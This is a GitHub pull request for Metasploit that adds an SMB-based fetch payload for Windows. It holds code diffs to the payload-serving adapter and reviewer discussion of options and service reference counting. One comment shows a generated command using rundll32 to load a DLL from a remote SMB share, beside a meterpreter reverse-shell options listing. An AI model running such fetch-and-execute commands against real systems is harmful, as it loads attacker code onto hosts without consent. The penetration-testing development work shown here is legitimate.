Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add an SMB-based fetch payload for Windows #18664

Merged
merged 10 commits into from Feb 14, 2024
2 changes: 1 addition & 1 deletion Gemfile.lock
Expand Up @@ -265,7 +265,7 @@ GEM
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.6)
metasploit-credential (6.0.7)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
Expand Down
4 changes: 2 additions & 2 deletions lib/msf/core/exploit/remote/smb/server/hash_capture.rb
Expand Up @@ -62,7 +62,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
origin = create_credential_origin_service(
{
address: address,
port: datastore['SRVPORT'],
port: srvport,
service_name: 'smb',
protocol: 'tcp',
module_fullname: fullname,
Expand All @@ -74,7 +74,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
origin: origin,
origin_type: :service,
address: address,
port: datastore['SRVPORT'],
port: srvport,
service_name: 'smb',
username: user,
server_challenge: challenge,
Expand Down
1 change: 0 additions & 1 deletion lib/msf/core/exploit/remote/smb/server/share.rb
Expand Up @@ -27,7 +27,6 @@ def initialize(info = {})

register_options(
[
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]),
OptString.new('SHARE', [ false, 'Share (Default: random); cannot contain spaces or slashes'], regex: /^[^\s\/\\]*$/),
OptString.new('FILE_NAME', [ false, 'File name to share (Default: random)']),
OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default: none)'])
Expand Down
35 changes: 14 additions & 21 deletions lib/msf/core/payload/adapter/fetch.rb
Expand Up @@ -5,19 +5,19 @@ def initialize(*args)
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ false, 'Local IP to use for serving payload']),
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker; This UX is a bit weird for me having to specify FETCH_SRVHOST instead of the normal LHOST convention 😄

msf6 payload(cmd/windows/smb/x64/messagebox) > generate -f raw lhost=192.168.123.1
[-] Payload generation failed: One or more options failed to validate: FETCH_SRVHOST.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This makes sense to me?
If there is an LHOST value (reverse port-enabled payloads), FETCH_SRVHOST is optional, and if it is blank we use the LHOST value.
If there is no LHOST value, we require the FETCH_SRVHOST value.

There are a lot of situations where we would like the LHOST and FETCH_SRVHOST to be different, though.

msf6 payload(cmd/windows/smb/x64/meterpreter_reverse_tcp) > show options

Module options (payload/cmd/windows/smb/x64/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   EXITFUNC        process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                       no        Comma-separate list of extensions to load
   EXTINIT                          no        Initialization strings for extensions
   FETCH_FILENAME  test.dll         yes       Payload file name to fetch; cannot contain spaces or slashes.
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


View the full module info with the info, or info -d command.

msf6 payload(cmd/windows/smb/x64/meterpreter_reverse_tcp) > generate -f raw
rundll32 \\10.5.135.201\XgxUu-11BP4H1Dy-9LxxVA\test.dll,0

Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/)
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
]
)
register_advanced_options(
[
Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]),
Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache'])
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
]
)
@delete_resource = true
Expand All @@ -27,7 +27,6 @@ def initialize(*args)
@remote_destination_win = nil
@remote_destination_nix = nil
@windows = nil

end

# If no fetch URL is provided, we generate one based off the underlying payload data
Expand Down Expand Up @@ -77,9 +76,11 @@ def fetch_bindport
datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

def fetch_bindnetloc
Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
end

def generate(opts = {})
datastore['FETCH_SRVHOST'] = datastore['LHOST'] if datastore['FETCH_SRVHOST'].blank?
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVHOST required') if datastore['FETCH_SRVHOST'].blank?
opts[:arch] ||= module_info['AdaptedArch']
opts[:code] = super
@srvexe = generate_payload_exe(opts)
Expand Down Expand Up @@ -126,17 +127,14 @@ def handle_connection(conn, opts = {})
end

def srvhost
datastore['FETCH_SRVHOST']
host = datastore['FETCH_SRVHOST']
host = datastore['LHOST'] if host.blank?
host = '127.127.127.127' if host.blank?
host
end

def srvnetloc
netloc = srvhost
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{srvport}"
else
netloc = "#{netloc}:#{srvport}"
end
netloc
Rex::Socket.to_authority(srvhost, srvport)
end

def srvport
Expand All @@ -148,10 +146,6 @@ def srvuri
default_srvuri
end

def srvname
datastore['FetchServerName']
end

def windows?
return @windows unless @windows.nil?
@windows = platform.platforms.first == Msf::Module::Platform::Windows
Expand Down Expand Up @@ -243,7 +237,6 @@ def _generate_curl_command
cmd + _execute_add
end


def _generate_ftp_command
case fetch_protocol
when 'FTP'
Expand Down
7 changes: 5 additions & 2 deletions lib/msf/core/payload/adapter/fetch/http.rb
Expand Up @@ -10,7 +10,11 @@ def initialize(*args)
end

def cleanup_handler
cleanup_http_fetch_service(@fetch_service, @delete_resource)
if @fetch_service
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This change in isolation looks good to me; But this cleanup_http_fetch_service implementation that gets called looks very odd to me:

def cleanup_http_fetch_service(fetch_service, delete_resource)
unless fetch_service.nil?
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
if fetch_service.resources.include?(escaped_srvuri) && delete_resource
fetch_service.remove_resource(escaped_srvuri)
end
fetch_service.deref
if fetch_service.resources.empty?
# if we don't call deref, we cannot start another httpserver
# this is a reimplementation of the cleanup_service method
# in Exploit::Remote::SocketServer
temp_service = fetch_service
fetch_service = nil
temp_service.cleanup
temp_service.deref
end
end
end

I don't think there should be two calls to deref in a single cleanup call, is there another issue hidden here maybe? 🤔

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah the ref counting is wrong here; Verified with some extra logging to rex-core:

diff --git a/lib/rex/sync/ref.rb b/lib/rex/sync/ref.rb
index 50b0146..9087747 100644
--- a/lib/rex/sync/ref.rb
+++ b/lib/rex/sync/ref.rb
@@ -45,6 +45,8 @@ module Ref
     @_references       = 1
     @_references_mutex = Mutex.new
 
+    $stderr.puts "[ref-count] calling refinit: #{caller}, total references: current #{@_references}"
+
     self
   end
 
@@ -54,6 +56,7 @@ module Ref
   def ref
     @_references_mutex.synchronize {
       @_references += 1
+      $stderr.puts "[ref-count] creating ref: #{caller}, total references: current #{@_references}"
     }
 
     self
@@ -65,11 +68,15 @@ module Ref
   #
   def deref
     @_references_mutex.synchronize {
-      if ((@_references -= 1) == 0)
+      @_references -= 1
+      $stderr.puts "[ref-count] creating deref: #{caller}, total references: #{@_references}"
+      if (@_references == 0)
+        $stderr.puts "[ref-count] calling cleanup"
         cleanup
 
         true
       else
+        $stderr.puts "[ref-count] no cleanup required"
         false
       end
     }

We end up with a refcount of -1 as far as I can see from a quick glance

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah that looks like an issue, but I copied it over from @bwatters-r7's original implementation here. I tested it again by removing everything after the fetch_service.deref line and confirmed I can start two services then tear them down individually and the HTTP server will remain until the last handler job is killed which is the expected behavior. Based on that, I don't think the explicit call to #cleanup is necessary, it looks like #deref handles it automatically.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I always thought this was wonky; I never understood why we needed to deref until empty, the deref again. I know in theory, it should call its own cleanup when the refcount is 0, but that expectation did not match reality.
I will go back and take a look, but I know that I could not start a second service without the second deref, and I am pretty sure that the service was never stopped. I spent a long time trying to figure out what was going on, and cursed the rex-sync library repeatedly.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bwatters-r7 are we alright to keep the proposed changes or are you still looking into why it needed to be done this way?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I started looking at the old commits and was trying to remember what tests I ran that made me think this was an issue. It is on my list for today to see if I can figure it out.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found the conversation where I think I was working on this. I was unable to recreate the issue when I removed

     if fetch_service.resources.empty? 
       # if we don't call deref, we cannot start another httpserver 
       # this is a reimplementation of the cleanup_service method 
       # in Exploit::Remote::SocketServer 
       temp_service = fetch_service 
       fetch_service = nil 
       temp_service.cleanup 
       temp_service.deref 
     end 

That said, I also can not longer use the _servicemanager command.... it was hidden behind a feature flag that does not exist, and I cannot find a built-in command that matches..... It is also late, so I might be misremembering or completely missing it. I'll look again tomorrow, but this looks like an overcorrection on my part right now.

cleanup_http_fetch_service(@fetch_service, @delete_resource)
@fetch_service = nil
end

super
end

Expand All @@ -20,4 +24,3 @@ def setup_handler
end

end

8 changes: 6 additions & 2 deletions lib/msf/core/payload/adapter/fetch/https.rb
Expand Up @@ -10,7 +10,11 @@ def initialize(*args)
end

def cleanup_handler
cleanup_http_fetch_service(@fetch_service, @delete_resource)
if @fetch_service
cleanup_http_fetch_service(@fetch_service, @delete_resource)
@fetch_service = nil
end

super
end

Expand All @@ -19,4 +23,4 @@ def setup_handler
super
end

end
end
100 changes: 89 additions & 11 deletions lib/msf/core/payload/adapter/fetch/server/http.rb
@@ -1,24 +1,102 @@
module Msf::Payload::Adapter::Fetch::Server::HTTP
include Msf::Payload::Adapter::Fetch::Server::Https

# This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin.
# We just remove the HTTPS Options so the user does not see them.
#
# This mixin supports only HTTP fetch handlers.

def initialize(*args)
super
deregister_options('FETCH_SSL',
'FETCH_CHECK_CERT',
'FetchSSLCert',
'FetchSSLCompression',
'FetchSSLCipher',
'FetchSSLCipher',
'FetchSSLVersion'
register_advanced_options(
[
Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache'])
]
)
end

def fetch_protocol
'HTTP'
end

def srvname
datastore['FetchHttpServerName']
end

def add_resource(fetch_service, uri, srvexe)
vprint_status("Adding resource #{uri}")
if fetch_service.resources.include?(uri)
# When we clean up, we need to leave resources alone, because we never added one.
@delete_resource = false
fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
end
fetch_service.add_resource(uri,
'Proc' => proc do |cli, req|
on_request_uri(cli, req, srvexe)
end,
'VirtualDirectory' => true)
rescue ::Exception => e
# When we clean up, we need to leave resources alone, because we never added one.
@delete_resource = false
fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
end

def cleanup_http_fetch_service(fetch_service, delete_resource)
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
if fetch_service.resources.include?(escaped_srvuri) && delete_resource
fetch_service.remove_resource(escaped_srvuri)
end
fetch_service.deref
end

def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
# this looks a bit funny because I converted it to use an instance variable so that if we crash in the
# middle and don't return a value, we still have the right fetch_service to clean up.
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
if fetch_service.nil?
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}")
end
vprint_status("#{fetch_protocol} server started")
fetch_service.server_name = srvname
add_resource(fetch_service, escaped_srvuri, srvexe)
fetch_service
end

def on_request_uri(cli, request, srvexe)
client = cli.peerhost
vprint_status("Client #{client} requested #{request.uri}")
if (user_agent = request.headers['User-Agent'])
client += " (#{user_agent})"
end
vprint_status("Sending payload to #{client}")
cli.send_response(payload_response(srvexe))
end

def payload_response(srvexe)
res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol)
res['Content-Type'] = 'text/html'
res.body = srvexe.to_s.unpack('C*').pack('C*')
res
end

def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
begin
fetch_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
fetch_bindport, fetch_bindhost, ssl,
{
'Msf' => framework,
'MsfExploit' => self
},
_determine_server_comm(fetch_bindhost),
ssl_cert,
ssl_compression,
ssl_cipher,
ssl_version
)
rescue Exception => e
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}")
end
vprint_status("Fetch handler listening on #{fetch_bindnetloc}")
fetch_service
end
end